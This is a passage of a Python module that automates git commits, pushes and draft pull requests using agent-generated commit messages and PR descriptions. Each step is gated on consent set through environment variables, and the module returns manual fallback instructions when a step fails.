|
|
if result.returncode != 0:
|
|
return False
|
|
|
|
# Optionally check authentication
|
|
if check_auth:
|
|
auth_result = subprocess.run(
|
|
['gh', 'auth', 'status'],
|
|
capture_output=True,
|
|
text=True,
|
|
timeout=5
|
|
)
|
|
return auth_result.returncode == 0
|
|
|
|
return True
|
|
except (FileNotFoundError, subprocess.CalledProcessError, subprocess.TimeoutExpired):
|
|
return False
|
|
|
|
|
|
def format_error_message(
|
|
stage: str,
|
|
error: str,
|
|
next_steps: Optional[List[str]] = None,
|
|
context: Optional[Dict[str, Any]] = None,
|
|
include_docs_link: bool = False
|
|
) -> str:
|
|
"""
|
|
Format helpful error message with context and next steps.
|
|
|
|
Args:
|
|
stage: Stage where error occurred (e.g., 'commit-message-generator')
|
|
error: Error message
|
|
next_steps: Optional list of suggested next steps
|
|
context: Optional context dictionary (e.g., branch, commit_sha)
|
|
include_docs_link: Whether to include documentation link
|
|
|
|
Returns:
|
|
Formatted error message string
|
|
|
|
Examples:
|
|
>>> error = format_error_message(
|
|
... stage='git_operations',
|
|
... error='Not a git repository',
|
|
... next_steps=['Initialize: git init']
|
|
... )
|
|
>>> 'git_operations' in error
|
|
True
|
|
>>> 'git init' in error
|
|
True
|
|
"""
|
|
message = f"\n{'='*60}\n"
|
|
message += f"Error in {stage}\n"
|
|
message += f"{'='*60}\n\n"
|
|
message += f"What went wrong:\n {error}\n"
|
|
|
|
# Add context if provided
|
|
if context:
|
|
message += f"\nContext:\n"
|
|
for key, value in context.items():
|
|
message += f" {key}: {value}\n"
|
|
|
|
# Add next steps if provided
|
|
if next_steps:
|
|
message += f"\nNext steps:\n"
|
|
for i, step in enumerate(next_steps, 1):
|
|
message += f" {i}. {step}\n"
|
|
|
|
# Add docs link if requested
|
|
if include_docs_link:
|
|
message += f"\nDocumentation:\n"
|
|
message += f" See docs/DEVELOPMENT.md for git setup instructions\n"
|
|
|
|
return message
|
|
|
|
|
|
def create_commit_with_agent_message(
|
|
workflow_id: str,
|
|
request: str,
|
|
branch: str,
|
|
push: bool = False
|
|
) -> Dict[str, Any]:
|
|
"""
|
|
Create git commit using agent-generated message.
|
|
|
|
Workflow:
|
|
1. Invoke commit-message-generator agent
|
|
2. Validate agent output
|
|
3. Execute git commit using git_operations.auto_commit_and_push()
|
|
|
|
Args:
|
|
workflow_id: Unique workflow identifier
|
|
request: Feature request description
|
|
branch: Git branch name
|
|
push: Whether to push after committing
|
|
|
|
Returns:
|
|
Dict with:
|
|
- success: Whether commit succeeded
|
|
- commit_sha: Commit SHA (if success)
|
|
- pushed: Whether pushed to remote (if success and push=True)
|
|
- commit_message_generated: Generated commit message
|
|
- agent_succeeded: Whether agent invocation succeeded
|
|
- git_succeeded: Whether git operations succeeded
|
|
- error: Error message (if failed)
|
|
- manual_instructions: Manual fallback (if failed)
|
|
|
|
Examples:
|
|
>>> result = create_commit_with_agent_message(
|
|
... workflow_id='workflow-123',
|
|
... request='Add authentication',
|
|
... branch='main',
|
|
... push=True
|
|
... )
|
|
>>> if result['success']:
|
|
... print(f"Committed: {result['commit_sha']}")
|
|
"""
|
|
# Step 1: Invoke commit-message-generator
|
|
agent_result = invoke_commit_message_agent(
|
|
workflow_id=workflow_id,
|
|
request=request
|
|
)
|
|
|
|
# Validate agent output
|
|
is_valid, validation_error = validate_agent_output(
|
|
agent_result,
|
|
'commit-message-generator'
|
|
)
|
|
|
|
if not is_valid:
|
|
# Agent failed - provide manual instructions
|
|
return {
|
|
'success': False,
|
|
'commit_sha': '',
|
|
'pushed': False,
|
|
'commit_message_generated': '',
|
|
'agent_succeeded': False,
|
|
'git_succeeded': False,
|
|
'error': validation_error,
|
|
'manual_instructions': build_manual_git_instructions(
|
|
branch=branch,
|
|
commit_message=f'feat: {request}', # Fallback message
|
|
include_push=push
|
|
),
|
|
'fallback_available': True
|
|
}
|
|
|
|
# Step 2: Extract commit message
|
|
commit_message = agent_result['output'].strip()
|
|
|
|
# Step 3: Execute git operations
|
|
git_result = auto_commit_and_push(
|
|
commit_message=commit_message,
|
|
branch=branch,
|
|
push=push
|
|
)
|
|
|
|
# Build response
|
|
if git_result['success']:
|
|
return {
|
|
'success': True,
|
|
'commit_sha': git_result['commit_sha'],
|
|
'pushed': git_result.get('pushed', False),
|
|
'commit_message_generated': commit_message,
|
|
'agent_succeeded': True,
|
|
'git_succeeded': True,
|
|
'error': ''
|
|
}
|
|
else:
|
|
# Git operations failed but agent succeeded
|
|
return {
|
|
'success': False,
|
|
'commit_sha': '',
|
|
'pushed': False,
|
|
'commit_message_generated': commit_message,
|
|
'agent_succeeded': True,
|
|
'git_succeeded': False,
|
|
'error': git_result.get('error', 'Git operations failed'),
|
|
'manual_instructions': build_manual_git_instructions(
|
|
branch=branch,
|
|
commit_message=commit_message,
|
|
include_push=push
|
|
),
|
|
'fallback_available': True
|
|
}
|
|
|
|
|
|
def push_and_create_pr(
|
|
workflow_id: str,
|
|
branch: str,
|
|
base_branch: str,
|
|
title: str,
|
|
commit_sha: str
|
|
) -> Dict[str, Any]:
|
|
"""
|
|
Create pull request using agent-generated description.
|
|
|
|
Workflow:
|
|
1. Check consent for PR creation
|
|
2. Invoke pr-description-generator agent
|
|
3. Validate agent output
|
|
4. Execute PR creation using pr_automation.create_pull_request()
|
|
|
|
Args:
|
|
workflow_id: Unique workflow identifier
|
|
branch: Source branch name
|
|
base_branch: Target branch name (e.g., 'main')
|
|
title: PR title
|
|
commit_sha: Commit SHA to reference
|
|
|
|
Returns:
|
|
Dict with:
|
|
- success: Whether PR was created
|
|
- pr_url: PR URL (if success)
|
|
- pr_number: PR number (if success)
|
|
- skipped: Whether PR creation was skipped (consent not given)
|
|
- reason: Reason for skipping (if skipped)
|
|
- agent_invoked: Whether agent was invoked
|
|
- error: Error message (if failed)
|
|
- fallback_command: Manual gh command (if failed)
|
|
|
|
Examples:
|
|
>>> result = push_and_create_pr(
|
|
... workflow_id='workflow-123',
|
|
... branch='feature/add-auth',
|
|
... base_branch='main',
|
|
... title='feat: add authentication',
|
|
... commit_sha='abc1234'
|
|
... )
|
|
>>> if result['pr_created']:
|
|
... print(result['pr_url'])
|
|
"""
|
|
# Check consent
|
|
consent = check_consent_via_env()
|
|
|
|
if not consent['pr_enabled']:
|
|
return {
|
|
'success': True,
|
|
'skipped': True,
|
|
'reason': 'User consent not provided (AUTO_GIT_PR=false)',
|
|
'agent_invoked': False,
|
|
'pr_created': False,
|
|
'pr_url': '',
|
|
'pr_number': None
|
|
}
|
|
|
|
# Step 1: Invoke pr-description-generator
|
|
agent_result = invoke_pr_description_agent(
|
|
workflow_id=workflow_id,
|
|
branch=branch
|
|
)
|
|
|
|
# Validate agent output
|
|
is_valid, validation_error = validate_agent_output(
|
|
agent_result,
|
|
'pr-description-generator'
|
|
)
|
|
|
|
if not is_valid:
|
|
# Agent failed - provide fallback command
|
|
fallback_cmd = build_fallback_pr_command(
|
|
branch=branch,
|
|
base_branch=base_branch,
|
|
title=title
|
|
)
|
|
|
|
return {
|
|
'success': False,
|
|
'agent_invoked': True,
|
|
'pr_created': False,
|
|
'error': validation_error,
|
|
'fallback_command': fallback_cmd,
|
|
'pr_url': '',
|
|
'pr_number': None
|
|
}
|
|
|
|
# Step 2: Extract PR description
|
|
pr_body = agent_result['output'].strip()
|
|
|
|
# Step 3: Create PR
|
|
try:
|
|
pr_result = create_pull_request(
|
|
title=title,
|
|
body=pr_body,
|
|
draft=True,
|
|
base=base_branch,
|
|
head=branch
|
|
)
|
|
|
|
if pr_result['success']:
|
|
return {
|
|
'success': True,
|
|
'pr_created': True,
|
|
'pr_url': pr_result['pr_url'],
|
|
'pr_number': pr_result['pr_number'],
|
|
'agent_invoked': True,
|
|
'error': ''
|
|
}
|
|
else:
|
|
# PR creation failed
|
|
fallback_cmd = build_fallback_pr_command(
|
|
branch=branch,
|
|
base_branch=base_branch,
|
|
title=title,
|
|
body=pr_body
|
|
)
|
|
|
|
return {
|
|
'success': False,
|
|
'pr_created': False,
|
|
'agent_invoked': True,
|
|
'error': pr_result.get('error', 'PR creation failed'),
|
|
'fallback_command': fallback_cmd,
|
|
'pr_url': '',
|
|
'pr_number': None
|
|
}
|
|
|
|
except Exception as e:
|
|
# Exception during PR creation
|
|
fallback_cmd = build_fallback_pr_command(
|
|
branch=branch,
|
|
base_branch=base_branch,
|
|
title=title,
|
|
body=pr_body
|
|
)
|
|
|
|
return {
|
|
'success': False,
|
|
'pr_created': False,
|
|
'agent_invoked': True,
|
|
'error': f'PR creation exception: {str(e)}',
|
|
'fallback_command': fallback_cmd,
|
|
'pr_url': '',
|
|
'pr_number': None
|
|
}
|
|
|
|
|
|
def execute_git_workflow(
|
|
workflow_id: str,
|
|
request: str,
|
|
branch: Optional[str] = None,
|
|
push: Optional[bool] = None,
|
|
create_pr: bool = False,
|
|
base_branch: str = 'main',
|
|
in_batch_mode: bool = False
|
|
) -> Dict[str, Any]:
|
|
"""
|
|
Execute git automation workflow with optional batch mode support.
|
|
|
|
This is the main entry point for git automation (used by both /auto-implement
|
|
and /batch-implement workflows). In batch mode, consent prompts are skipped
|
|
but environment variable consent is still respected.
|
|
|
|
Args:
|
|
workflow_id: Unique workflow identifier
|
|
request: Feature request description
|
|
branch: Git branch name (optional, auto-detected if not provided)
|
|
push: Whether to push to remote (optional, uses consent if not provided)
|
|
create_pr: Whether to attempt PR creation
|
|
base_branch: Target branch for PR (default: 'main')
|
|
in_batch_mode: Skip first-run consent prompts (for /batch-implement)
|
|
|
|
Returns:
|
|
Dict with success status, commit info, and optional PR details
|
|
(see execute_step8_git_operations for full return structure)
|
|
|
|
Examples:
|
|
>>> # Interactive mode (shows first-run warning)
|
|
>>> result = execute_git_workflow(
|
|
... workflow_id='workflow-123',
|
|
... request='Add feature',
|
|
... in_batch_mode=False
|
|
... )
|
|
|
|
>>> # Batch mode (skips first-run warning)
|
|
>>> result = execute_git_workflow(
|
|
... workflow_id='batch-20251206-feature-1',
|
|
... request='Add logging',
|
|
... in_batch_mode=True
|
|
... )
|
|
"""
|
|
# In batch mode, skip first-run warning but still respect env var consent
|
|
if in_batch_mode:
|
|
# Batch mode bypasses the first-run interactive prompt
|
|
# But still respects environment variable consent (AUTO_GIT_ENABLED, etc.)
|
|
# This allows unattended batch processing while maintaining consent model
|
|
pass # No first-run warning in batch mode
|
|
|
|
# Delegate to execute_step8_git_operations
|
|
return execute_step8_git_operations(
|
|
workflow_id=workflow_id,
|
|
request=request,
|
|
branch=branch,
|
|
push=push,
|
|
create_pr=create_pr,
|
|
base_branch=base_branch,
|
|
_skip_first_run_warning=in_batch_mode # Internal parameter
|
|
)
|
|
|
|
# Add batch_mode flag to return value for test compatibility
|
|
result['batch_mode'] = in_batch_mode
|
|
return result
|
|
|
|
|
|
def execute_step8_git_operations(
|
|
workflow_id: str,
|
|
request: str,
|
|
branch: Optional[str] = None,
|
|
push: Optional[bool] = None,
|
|
create_pr: bool = False,
|
|
base_branch: str = 'main',
|
|
_skip_first_run_warning: bool = False # Internal: bypass first-run warning
|
|
) -> Dict[str, Any]:
|
|
"""
|
|
Execute complete Step 8 git automation workflow.
|
|
|
|
This is the main entry point for /auto-implement Step 8.
|
|
|
|
Workflow:
|
|
1. Check consent via environment variables
|
|
2. Validate git CLI is available
|
|
3. Invoke commit-message-generator agent
|
|
4. Create commit with agent message
|
|
5. Optionally push to remote (if consent given)
|
|
6. Optionally create PR (if consent given)
|
|
|
|
Args:
|
|
workflow_id: Unique workflow identifier
|
|
request: Feature request description
|
|
branch: Git branch name (optional, auto-detected if not provided)
|
|
push: Whether to push to remote (optional, uses consent if not provided)
|
|
create_pr: Whether to attempt PR creation
|
|
base_branch: Target branch for PR (default: 'main')
|
|
|
|
Returns:
|
|
Dict with:
|
|
- success: Overall success status
|
|
- skipped: Whether operations were skipped (consent not given)
|
|
- reason: Reason for skipping (if skipped)
|
|
- commit_sha: Commit SHA (if committed)
|
|
- pushed: Whether pushed to remote
|
|
- pr_created: Whether PR was created
|
|
- pr_url: PR URL (if PR created)
|
|
- agent_invoked: Whether agents were invoked
|
|
- stage_failed: Stage where failure occurred (if failed)
|
|
- error: Error message (if failed)
|
|
- manual_instructions: Manual fallback (if failed)
|
|
- how_to_enable: Instructions to enable automation (if skipped)
|
|
|
|
Examples:
|
|
>>> # Auto-detect branch
|
|
>>> result = execute_step8_git_operations(
|
|
... workflow_id='workflow-123',
|
|
... request='Add user authentication',
|
|
... push=True,
|
|
... create_pr=True
|
|
... )
|
|
>>> # Explicit branch
|
|
>>> result = execute_step8_git_operations(
|
|
... workflow_id='workflow-123',
|
|
... request='Add user authentication',
|
|
... branch='feature/add-auth',
|
|
... create_pr=True
|
|
... )
|
|
>>> if result['success']:
|
|
... print(f"Committed: {result['commit_sha']}")
|
|
... if result.get('pr_created'):
|
|
... print(f"PR: {result['pr_url']}")
|
|
"""
|
|
# Step 1: Check consent (pass skip parameter for batch mode)
|
|
consent = check_consent_via_env(_skip_first_run_warning=_skip_first_run_warning)
|
|
|
|
# If push parameter not provided, use consent
|
|
if push is None:
|
|
push = consent['push_enabled']
|
|
|
|
if not consent['git_enabled']:
|
|
return {
|
|
'success': True,
|
|
'skipped': True,
|
|
'reason': 'User consent not provided (AUTO_GIT_ENABLED=false)',
|
|
'commit_sha': '',
|
|
'pushed': False,
|
|
'pr_created': False,
|
|
'agent_invoked': False,
|
|
'how_to_enable': (
|
|
"To enable git automation, set environment variables:\n"
|
|
" export AUTO_GIT_ENABLED=true\n"
|
|
" export AUTO_GIT_PUSH=true # Optional: enable push\n"
|
|
" export AUTO_GIT_PR=true # Optional: enable PR creation\n\n"
|
|
"Or add to .env file:\n"
|
|
" AUTO_GIT_ENABLED=true\n"
|
|
" AUTO_GIT_PUSH=true\n"
|
|
" AUTO_GIT_PR=true"
|
|
)
|
|
}
|
|
|
|
# Step 2: Auto-detect branch if not provided
|
|
if branch is None:
|
|
try:
|
|
result = subprocess.run(
|
|
['git', 'rev-parse', '--abbrev-ref', 'HEAD'],
|
|
capture_output=True,
|
|
text=True,
|
|
timeout=10,
|
|
check=True,
|
|
)
|
|
branch = result.stdout.strip()
|
|
except (subprocess.CalledProcessError, subprocess.TimeoutExpired) as e:
|
|
return {
|
|
'success': False,
|
|
'error': f'Failed to detect git branch: {e}',
|
|
'commit_sha': '',
|
|
'pushed': False,
|
|
'pr_created': False,
|
|
'agent_invoked': False,
|
|
}
|
|
|
|
# Step 3: Validate git CLI is available
|
|
if not check_git_available():
|
|
return {
|
|
'success': False,
|
|
'error': 'git CLI not available',
|
|
'install_instructions': (
|
|
"Git is not installed or not in PATH.\n\n"
|
|
"Install git:\n"
|
|
" macOS: brew install git\n"
|
|
" Linux: sudo apt-get install git\n"
|
|
" Windows: https://git-scm.com/download/win"
|
|
),
|
|
'commit_sha': '',
|
|
'pushed': False,
|
|
'pr_created': False
|
|
}
|
|
|
|
# Step 4: Create commit with agent message
|
|
commit_result = create_commit_with_agent_message(
|
|
workflow_id=workflow_id,
|
|
request=request,
|
|
branch=branch,
|
|
push=push # Use explicit push parameter
|
|
)
|
|
|
|
# If commit failed, return early
|
|
if not commit_result['success']:
|
|
return {
|
|
'success': False,
|
|
'stage_failed': 'git_operations', # Failed during git operations stage
|
|
'error': commit_result['error'],
|
|
'manual_instructions': commit_result.get('manual_instructions'),
|
|
'commit_sha': '',
|
|
'pushed': False,
|
|
'pr_created': False,
|
|
'agent_invoked': commit_result.get('agent_succeeded', False),
|
|
'fallback_available': commit_result.get('fallback_available', True),
|
|
'commit_message_generated': commit_result.get('commit_message_generated', ''),
|
|
'agent_succeeded': commit_result.get('agent_succeeded', False),
|
|
'git_succeeded': commit_result.get('git_succeeded', False),
|
|
'next_steps': commit_result.get('manual_instructions', '')
|
|
}
|
|
|
|
# Step 5: Optionally create PR
|
|
pr_result = {'pr_created': False, 'pr_url': '', 'pr_number': None, 'pr_error': ''}
|
|
|
|
if create_pr and consent['pr_enabled']:
|
|
# Extract title from commit message (first line)
|
|
title = commit_result['commit_message_generated'].split('\n')[0]
|
|
|
|
pr_result = push_and_create_pr(
|
|
workflow_id=workflow_id,
|
|
branch=branch,
|
|
base_branch=base_branch,
|
|
title=title,
|
|
commit_sha=commit_result['commit_sha']
|
|
)
|
|
|
|
# Store PR error separately
|
|
if not pr_result.get('success', False):
|
|
pr_result['pr_error'] = pr_result.get('error', '')
|
|
# Provide manual PR command
|
|
pr_result['manual_pr_command'] = pr_result.get('fallback_command', '')
|
|
|
|
# Build final response
|
|
return {
|
|
'success': True, # Commit succeeded (PR is optional)
|
|
'commit_sha': commit_result['commit_sha'],
|
|
'pushed': commit_result['pushed'],
|
|
'pr_created': pr_result.get('pr_created', False),
|
|
'pr_url': pr_result.get('pr_url', ''),
|
|
'pr_number': pr_result.get('pr_number'),
|
|
'pr_error': pr_result.get('pr_error', ''),
|
|
'manual_pr_command': pr_result.get('manual_pr_command', ''),
|
|
'agent_invoked': True,
|
|
'error': ''
|
|
}
|